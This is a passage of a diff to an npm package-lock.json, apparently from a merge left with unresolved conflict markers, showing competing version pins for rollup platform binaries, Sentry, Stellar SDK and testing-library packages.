"https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.62.2.tgz", + "integrity": "sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.64.2.tgz", "integrity": "sha512-8wLt2Q5n4qmfiE2Gk8V6KNLSf+oJuBX7Kdw5joFDtnZIZvirS0hLzBc79OiJjV71oYDmBUZLNy6pDgvylo4qiQ==", +>>>>>>> upstream/main "cpu": [ "s390x" ], @@ -3813,9 +4591,15 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.62.2.tgz", + "integrity": "sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.64.2.tgz", "integrity": "sha512-aIChbkhC4d33bxkVP0LSi2/2lUSGRXE6k4Qa0G7tgpgTOK7kxHTixmx5qC3SKUJ6yUMznHBtQoWaG4QMqLUnhw==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3826,9 +4610,15 @@ ] }, "node_modules/@rollup/rollup-linux-x64-musl": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.62.2.tgz", + "integrity": "sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.64.2.tgz", "integrity": "sha512-gQ+TkVZRfjZVcl/UOAxxfWw+sHjzIXoieNwxEyJlD3tRBmBhR8ZDq11w+QEgQDcpslEB+fhN/OEpaTsDoIIHhQ==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3839,9 +4629,15 @@ ] }, "node_modules/@rollup/rollup-openbsd-x64": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.62.2.tgz", + "integrity": "sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.64.2.tgz", "integrity": "sha512-sUaJpMKS2JBCvUk8fYimG7aMq2jHVT4kw/uVHxPolKLrMmkKy0KXirmZyZehdNpL7PffqAlPAWUELQcTiD8ChA==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3852,9 +4648,15 @@ ] }, "node_modules/@rollup/rollup-openharmony-arm64": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.62.2.tgz", + "integrity": "sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.64.2.tgz", "integrity": "sha512-j1RdJWb0CrlSuwt12OPjLucPlwfLtA/KMOKVvh5rXSJEtl/WDoIGR3CSykK/jLGTo9RqNfW5Ub6kY5Z5ccYl9w==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3865,9 +4667,15 @@ ] }, "node_modules/@rollup/rollup-win32-arm64-msvc": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.62.2.tgz", + "integrity": "sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.64.2.tgz", "integrity": "sha512-i3r04aHCIY3eggTBLUp/4IxiBjDpAgQaK89Ue2nMJ2MKuIXX5JfoeZjHw+kPjGGNVDlhi8FT8xzuGMJZe3aehg==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -3878,9 +4686,15 @@ ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.62.2.tgz", + "integrity": "sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.64.2.tgz", "integrity": "sha512-kCQ15h/uwNMGdN8gjXBZGf+aGE+ODzHfbi90/cAm4+Q89WoMiLODNoj8HoGZmYx87HPxfu5CBNPsZ+ZG4uIAoA==", +>>>>>>> upstream/main "cpu": [ "ia32" ], @@ -3891,9 +4705,15 @@ ] }, "node_modules/@rollup/rollup-win32-x64-gnu": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.62.2.tgz", + "integrity": "sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.64.2.tgz", "integrity": "sha512-yYAuySSs+0X2gSMJPw/Q4jHsHZHyMq1dpAE+XnN790Jg1WuReUAD/+j+e4vuDvS4PXJ4PA4NCzTR4OYtDf18/g==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3904,9 +4724,15 @@ ] }, "node_modules/@rollup/rollup-win32-x64-msvc": { +<<<<<<< HEAD + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.62.2.tgz", + "integrity": "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA==", +======= "version": "4.64.2", "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.64.2.tgz", "integrity": "sha512-JY1rQdWOJrKutORqKO1uzrHXV86jFiQzfLFKx2s8S1CjLXL9fC5LOIvk0q7Z7PXJvsByt+sdoE1Q2a9gBr4gLQ==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -3931,9 +4757,15 @@ "license": "MIT" }, "node_modules/@scure/base": { +<<<<<<< HEAD + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@scure/base/-/base-2.2.0.tgz", + "integrity": "sha512-b8XEupJibegiXV+tDUseI8oLQc8ei3d/4Jkb2RpbHh3MfE054ov3uIz2dhFkB3FI8iwYkEh0gGCApkrYggkPNg==", +======= "version": "2.4.0", "resolved": "https://registry.npmjs.org/@scure/base/-/base-2.4.0.tgz", "integrity": "sha512-thZ1TuJwFwBblOhgsjDKvvGirBxNp+wSvY/DR6tJBJOTDhdAAcHJ8Vbr2eFnqaxeca4+t0i9KBf+uHYGWwZORg==", +>>>>>>> upstream/main "license": "MIT", "funding": { "url": "https://paulmillr.com/funding/" @@ -3949,6 +4781,18 @@ } }, "node_modules/@sentry/browser": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/browser/-/browser-10.62.0.tgz", + "integrity": "sha512-uJi0yPssB3Nt/cZ8/S8opW42gaM59/6IyNtPFYD7C0ciudi/nIo5QMVpCYBBI3jnKFOIQLlsMT4pDlOLuxxNuQ==", + "license": "MIT", + "dependencies": { + "@sentry/browser-utils": "10.62.0", + "@sentry/core": "10.62.0", + "@sentry/feedback": "10.62.0", + "@sentry/replay": "10.62.0", + "@sentry/replay-canvas": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/browser/-/browser-10.76.1.tgz", "integrity": "sha512-Lz6YFVXaouOVKnv2WzYbUgxvtnWNwTwFwgQ7CBex98k5EaGzmuGtFL3A4n0Qfyns4/un7xdZk4Bw7DsiiaQtew==", @@ -3960,12 +4804,21 @@ "@sentry/feedback": "10.76.1", "@sentry/replay": "10.76.1", "@sentry/replay-canvas": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" } }, "node_modules/@sentry/browser-utils": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/browser-utils/-/browser-utils-10.62.0.tgz", + "integrity": "sha512-mS9HVVuWIdye9o0xUGFmzNOBqktF4n5kugrF8NCOYYDrr5ZV8Cx7BlquHQn5UpCeViVhZtcDlEm4iOK7++Px7A==", + "license": "MIT", + "dependencies": { + "@sentry/core": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/browser-utils/-/browser-utils-10.76.1.tgz", "integrity": "sha512-Z7f0YyONonexnyjVIpfd2U2z73Tc8YmDrDWGt7ylHjzCtu6R+zW7k0jxl3uGUntjR+rIlFVqEAHIAVogZc0eaQ==", @@ -3973,6 +4826,7 @@ "dependencies": { "@sentry/conventions": "^0.16.0", "@sentry/core": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" @@ -3996,6 +4850,8 @@ "node": ">= 18" } }, +<<<<<<< HEAD +======= "node_modules/@sentry/bundler-plugins": { "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/bundler-plugins/-/bundler-plugins-10.76.1.tgz", @@ -4038,6 +4894,7 @@ "url": "https://dotenvx.com" } }, +>>>>>>> upstream/main "node_modules/@sentry/cli": { "version": "2.58.6", "resolved": "https://registry.npmjs.org/@sentry/cli/-/cli-2.58.6.tgz", @@ -4204,15 +5061,27 @@ } }, "node_modules/@sentry/conventions": { +<<<<<<< HEAD + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@sentry/conventions/-/conventions-0.12.0.tgz", + "integrity": "sha512-z1JQrl/1SLY+8wpzvork6vl+fpsg/oCCxM7HWWhUnI/R+OGNyoIzieQuggX3uUMY7NBtp8UWCQx6FeFazzOF9g==", +======= "version": "0.16.0", "resolved": "https://registry.npmjs.org/@sentry/conventions/-/conventions-0.16.0.tgz", "integrity": "sha512-fO9PLmHdVURcSPUpWCItWAtgKiMwGdJHbovoSEyLplX5sxs2ugvI4CBPTrkkgqhObnZOD0CnWBKDzSVQYBKEyQ==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=14" } }, "node_modules/@sentry/core": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/core/-/core-10.62.0.tgz", + "integrity": "sha512-tV69fMg2sS5DUFmQSnS7Jd5qJAp0izxwcsvBVz2ieTM9VMRi99IfOSYW9UYr3p1yfuksk41kefN5PEbeedUE+A==", + "license": "MIT", +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/core/-/core-10.76.1.tgz", "integrity": "sha512-WZ1D30FDrvZPWcEgbCgaVHROBOaVGxNUcEeF5O5xRAdGu6UB7Epg+CQBeoatw/SxEctQq0BPbMIwtBgbe1QK3g==", @@ -4220,30 +5089,56 @@ "dependencies": { "@sentry/conventions": "^0.16.0" }, +>>>>>>> upstream/main "engines": { "node": ">=18" } }, "node_modules/@sentry/feedback": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/feedback/-/feedback-10.62.0.tgz", + "integrity": "sha512-d0BVjJVny6qpBgGJgWL0fbcoQHjtD3z3R8EK/KzTS3RO92JX5n3A536n5D/rh0gZFgcIwiUzBXegmyPOSQn9ng==", + "license": "MIT", + "dependencies": { + "@sentry/core": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/feedback/-/feedback-10.76.1.tgz", "integrity": "sha512-GwJdYLH5jaVAml0ld0QC6LGRIDTbvu5n/mNzs8Xku7eDRiUZVdlWi79+W0uzCAyP08xknBPXWUBaEBmCG0SFag==", "license": "MIT", "dependencies": { "@sentry/core": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" } }, "node_modules/@sentry/nextjs": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/nextjs/-/nextjs-10.62.0.tgz", + "integrity": "sha512-JyxKNruI/yx8/YoxR/MG0IYg/zPBY9LSeUUbWPWN4jPFOD9e5/cQh4GtdY6tFWcWl2262PS7me8mbTH0J2jjzg==", +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/nextjs/-/nextjs-10.76.1.tgz", "integrity": "sha512-iHgxsK3V6738Ybb0R/8sDxXT/gFpti7mpfXTGxcZ6yRTkLcXalMbzKF9j1B8i6/7EnKmQvSR4PLcayo1s9HGDA==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@opentelemetry/api": "^1.9.1", "@rollup/plugin-commonjs": "28.0.1", +<<<<<<< HEAD + "@sentry/browser-utils": "10.62.0", + "@sentry/bundler-plugin-core": "^5.3.0", + "@sentry/conventions": "^0.12.0", + "@sentry/core": "10.62.0", + "@sentry/node": "10.62.0", + "@sentry/opentelemetry": "10.62.0", + "@sentry/react": "10.62.0", + "@sentry/vercel-edge": "10.62.0", +======= "@sentry/browser-utils": "10.76.1", "@sentry/bundler-plugin-core": "^5.3.0", "@sentry/conventions": "^0.16.0", @@ -4253,6 +5148,7 @@ "@sentry/react": "10.76.1", "@sentry/server-utils": "10.76.1", "@sentry/vercel-edge": "10.76.1", +>>>>>>> upstream/main "@sentry/webpack-plugin": "^5.3.0", "rollup": "^4.60.3", "stacktrace-parser": "^0.1.11" @@ -4265,6 +5161,21 @@ } }, "node_modules/@sentry/node": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/node/-/node-10.62.0.tgz", + "integrity": "sha512-4hoU67bJY0o3irEDMZu2UIztAOsvEqFkLXA7EUKl1LXMA3Ba1Lb32OUVqlsTypiEInSDs/BtM+aAFKojZ3P3Fw==", + "license": "MIT", + "dependencies": { + "@opentelemetry/api": "^1.9.1", + "@opentelemetry/instrumentation": "^0.214.0", + "@opentelemetry/sdk-trace-base": "^2.6.1", + "@opentelemetry/semantic-conventions": "^1.40.0", + "@sentry/core": "10.62.0", + "@sentry/node-core": "10.62.0", + "@sentry/opentelemetry": "10.62.0", + "@sentry/server-utils": "10.62.0", +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/node/-/node-10.76.1.tgz", "integrity": "sha512-caXHUb8pI7Gd9FIwe3soqGWpnTxVVaV15iYk+rueKsBBeUNETLCU6PzwTyD6tQ3WbkhTGYbSGYYLINtj2IroEA==", @@ -4278,6 +5189,7 @@ "@sentry/node-core": "10.76.1", "@sentry/opentelemetry": "10.76.1", "@sentry/server-utils": "10.76.1", +>>>>>>> upstream/main "import-in-the-middle": "^3.0.0" }, "engines": { @@ -4285,6 +5197,16 @@ } }, "node_modules/@sentry/node-core": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/node-core/-/node-core-10.62.0.tgz", + "integrity": "sha512-V7rDgbxViiHU0OpcFEDp3l41IFvWTasKHfXw8SQ6yIgtZ8VpFqmz2TR5N7X85iIOmWIvK5HV0yp0eDdsly0+rA==", + "license": "MIT", + "dependencies": { + "@sentry/conventions": "^0.12.0", + "@sentry/core": "10.62.0", + "@sentry/opentelemetry": "10.62.0", +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/node-core/-/node-core-10.76.1.tgz", "integrity": "sha512-5IPAqITJle2wFn+7nkCiWchC9TfdEU2GrH0uS/WmTC7vc64YGAyPK/UZ0qzCU0MUPNH5anYGtUK4EMzlpdmWGQ==", @@ -4293,6 +5215,7 @@ "@sentry/conventions": "^0.16.0", "@sentry/core": "10.76.1", "@sentry/opentelemetry": "10.76.1", +>>>>>>> upstream/main "import-in-the-middle": "^3.0.0" }, "engines": { @@ -4324,6 +5247,15 @@ } }, "node_modules/@sentry/opentelemetry": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/opentelemetry/-/opentelemetry-10.62.0.tgz", + "integrity": "sha512-nFwBgtjfwgY8P5lAuQFWfAsQW1MXxuQ6kR/HtBs+A6julqwGGS2QnQ65OCWMzz6IqDEL/pRgT1405/gU+OXU3A==", + "license": "MIT", + "dependencies": { + "@sentry/conventions": "^0.12.0", + "@sentry/core": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/opentelemetry/-/opentelemetry-10.76.1.tgz", "integrity": "sha512-nfEQ4ALfEXGpYulXTPIOxE4QL3wsXPhlcCBbkgWmkozIT6D3s3vpjtRJsF//xrIkrAMm4OdV25fVqMhEkbJTGA==", @@ -4331,6 +5263,7 @@ "dependencies": { "@sentry/conventions": "^0.16.0", "@sentry/core": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" @@ -4342,6 +5275,15 @@ } }, "node_modules/@sentry/react": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/react/-/react-10.62.0.tgz", + "integrity": "sha512-PChimVpY0wzs3H/hJqyl87/ITTHwIZWTSY68QoENZyLnp7DvLcFiZYub/gFws1pzDPhtIQXVLU72fbmUjT5PSg==", + "license": "MIT", + "dependencies": { + "@sentry/browser": "10.62.0", + "@sentry/core": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/react/-/react-10.76.1.tgz", "integrity": "sha512-9/X4GDXa5GYIRI5wKsk5skb9BuqjGWaVJ3c5H0Ov9lHBOp6gajX8qDFnGAS8pGcbL9hPZ3tVzvusqezyZaVqyA==", @@ -4350,6 +5292,7 @@ "@sentry/browser": "10.76.1", "@sentry/conventions": "^0.16.0", "@sentry/core": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" @@ -4359,6 +5302,15 @@ } }, "node_modules/@sentry/replay": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/replay/-/replay-10.62.0.tgz", + "integrity": "sha512-rWp4hBhZOmdQhisxcKzAwTGiRk/LvWnNaElWe7nbRhjsM/usp2095yfjq4iJ47v9MtO7xxY6eUz++fLBycqXKg==", + "license": "MIT", + "dependencies": { + "@sentry/browser-utils": "10.62.0", + "@sentry/core": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/replay/-/replay-10.76.1.tgz", "integrity": "sha512-k2nHnQSDYEFhwbNmSeDFcV9Np//bGJI7HS0uoHVLKrbic1Dp0ezehu6I4i9cRUpbPVt3KF71eUh6C7I/PPAROw==", @@ -4366,12 +5318,22 @@ "dependencies": { "@sentry/browser-utils": "10.76.1", "@sentry/core": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" } }, "node_modules/@sentry/replay-canvas": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/replay-canvas/-/replay-canvas-10.62.0.tgz", + "integrity": "sha512-CzPAxmpe5US/ABGA1TzpjFKOFZN5uqlzrRh/uM9/daVuzLVKIAQ0XRNxo/PPEXvlDm/PoMdI5L0qIODuIKnyyw==", + "license": "MIT", + "dependencies": { + "@sentry/core": "10.62.0", + "@sentry/replay": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/replay-canvas/-/replay-canvas-10.76.1.tgz", "integrity": "sha512-YtsCtGcYKk78AlQCPgdVMZPYmfn73yREFCC9lutilayRHr16cLyF7v1oISLIxjaDQF3d8BpgcvFNg/iws05lyg==", @@ -4379,12 +5341,26 @@ "dependencies": { "@sentry/core": "10.76.1", "@sentry/replay": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" } }, "node_modules/@sentry/server-utils": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/server-utils/-/server-utils-10.62.0.tgz", + "integrity": "sha512-S5szsj6kKBhxw97b2HA98fYp/PpWXvSizlisEzb2rnL4IH6RAJ8wP05/fnth8pSywTH+gtUu+i6Wn8e8rX5HvA==", + "license": "MIT", + "dependencies": { + "@apm-js-collab/code-transformer": "^0.15.0", + "@apm-js-collab/code-transformer-bundler-plugins": "^0.5.0", + "@apm-js-collab/tracing-hooks": "^0.10.0", + "@sentry/conventions": "^0.12.0", + "@sentry/core": "10.62.0", + "magic-string": "~0.30.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/server-utils/-/server-utils-10.76.1.tgz", "integrity": "sha512-E4BHBU2F975eQW/eo4w73DvxN2LNac3wqWzd8lvk4A6jXt8nJwtGSxxdPaTM0Il82aJkbZXJ3IIO/Px6rlX+lQ==", @@ -4392,12 +5368,22 @@ "dependencies": { "@sentry/conventions": "^0.16.0", "@sentry/core": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" } }, "node_modules/@sentry/vercel-edge": { +<<<<<<< HEAD + "version": "10.62.0", + "resolved": "https://registry.npmjs.org/@sentry/vercel-edge/-/vercel-edge-10.62.0.tgz", + "integrity": "sha512-p9gtIRywc6X2JOSh8WGLXCbY8969EDIF+dcejGbbQO9ekRzyREcJIxbJxfofUsynVO6dpEUi5Eayl71JhYwcPQ==", + "license": "MIT", + "dependencies": { + "@opentelemetry/api": "^1.9.1", + "@sentry/core": "10.62.0" +======= "version": "10.76.1", "resolved": "https://registry.npmjs.org/@sentry/vercel-edge/-/vercel-edge-10.76.1.tgz", "integrity": "sha512-2DQ3F1m9vu4VJFuL1MasVTuonc0Ev5xc+wp192hh4/+pFI+bbM+FsQEQ+U4deMd/hIynDbvlYX+p/BhapFgoAg==", @@ -4405,18 +5391,28 @@ "dependencies": { "@opentelemetry/api": "^1.9.1", "@sentry/core": "10.76.1" +>>>>>>> upstream/main }, "engines": { "node": ">=18" } }, "node_modules/@sentry/webpack-plugin": { +<<<<<<< HEAD + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/@sentry/webpack-plugin/-/webpack-plugin-5.3.0.tgz", + "integrity": "sha512-i3OQUrS0FZlXLgq57RIKDp+vHHzuvYKPCKewAPXULWKMsBXFGhP6veGRQ+6To/pmZkkXjEX5ofVNDy9C3jEPKQ==", + "license": "MIT", + "dependencies": { + "@sentry/bundler-plugin-core": "5.3.0" +======= "version": "5.4.1", "resolved": "https://registry.npmjs.org/@sentry/webpack-plugin/-/webpack-plugin-5.4.1.tgz", "integrity": "sha512-Gw1cVwDeqjXxcF87yTsB3ysyovKmCyHVOWmsOLTpUxKbTAXf1OYrU+rvqdBgaBC04glG/uDPXlyAEBKIjEmdcQ==", "license": "MIT", "dependencies": { "@sentry/bundler-plugins": "^10.76.0" +>>>>>>> upstream/main }, "engines": { "node": ">= 18" @@ -4495,6 +5491,21 @@ "semver": "^7.6.3" } }, +<<<<<<< HEAD + "node_modules/@stellar/freighter-api/node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, +======= +>>>>>>> upstream/main "node_modules/@stellar/js-xdr": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/@stellar/js-xdr/-/js-xdr-4.0.0.tgz", @@ -4542,9 +5553,15 @@ } }, "node_modules/@stellar/stellar-sdk": { +<<<<<<< HEAD + "version": "16.1.0", + "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-16.1.0.tgz", + "integrity": "sha512-MOIrUvbzuTnSvUurL+9nrS1UW6Ko+QTW00RggSomm4WaWkE8onKPo2MRJMd89X7qPaGPjYjxNX6B671AEQlzxQ==", +======= "version": "16.3.1", "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-16.3.1.tgz", "integrity": "sha512-PPM1JA51NChSPyMkh+T9sHxJtP/v9e9Gcyc2BMNvnGvbZwqoKJclRSdPgmalLDAmTnTewGs7VMM9nRxDeCzzgQ==", +>>>>>>> upstream/main "license": "Apache-2.0", "dependencies": { "@noble/ed25519": "^3.1.0", @@ -4567,6 +5584,30 @@ "node": ">=22.0.0" } }, +<<<<<<< HEAD + "node_modules/@stellar/stellar-sdk/node_modules/@noble/hashes": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.2.0.tgz", + "integrity": "sha512-IYqDGiTXab6FniAgnSdZwgWbomxpy9FtYvLKs7wCUs2a8RkITG+DFGO1DM9cr+E3/RgADRpFjrKVaJ1z6sjtEg==", + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@stellar/stellar-sdk/node_modules/commander": { + "version": "14.0.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", + "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, +======= +>>>>>>> upstream/main "node_modules/@surma/rollup-plugin-off-main-thread": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz", @@ -4630,9 +5671,15 @@ } }, "node_modules/@testing-library/dom": { +<<<<<<< HEAD + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", + "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", +======= "version": "10.4.2", "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.2.tgz", "integrity": "sha512-yzr2S9HyAIdhz2/6qHgbs665Q7PKVcDF05vsOlHPxG1mo36gKVesdYVeDLnXgfjJ03CrKRk08knc6+E/9m8v2Q==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -4649,6 +5696,19 @@ "node": ">=18" } }, +<<<<<<< HEAD + "node_modules/@testing-library/dom/node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "dequal": "^2.0.3" + } + }, +======= +>>>>>>> upstream/main "node_modules/@testing-library/dom/node_modules/dom-accessibility-api": { "version": "0.5.16", "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", @@ -4676,6 +5736,12 @@ "yarn": ">=1" } }, +<<<<<<< HEAD + "node_modules/@testing-library/react": { + "version": "16.3.2", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz", + "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==", +======= "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", @@ -4687,6 +5753,7 @@ "version": "16.3.3", "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.3.tgz", "integrity": "sha512-Uo193NgQbPMz6lrrhtRQQFcMC6Re/ELLFbbuVL30WDlZxlpZf9/lMHTAVxPRLw1q1iu9OJmR1c2BLiENRstdBg==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -4712,9 +5779,15 @@ } }, "node_modules/@testing-library/user-event": { +<<<<<<< HEAD + "version": "14.6.1", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz", + "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==", +======= "version": "14.6.7", "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.7.tgz", "integrity": "sha512-MPCpX8bxe8zS+JmmTwLp8jd0dy1rAm60Te/SL8JrQM3qvQJcBOs1d7IefJMyZzqM3EWBrDn/LWDt1BCGu4ASfg==", +>>>>>>> 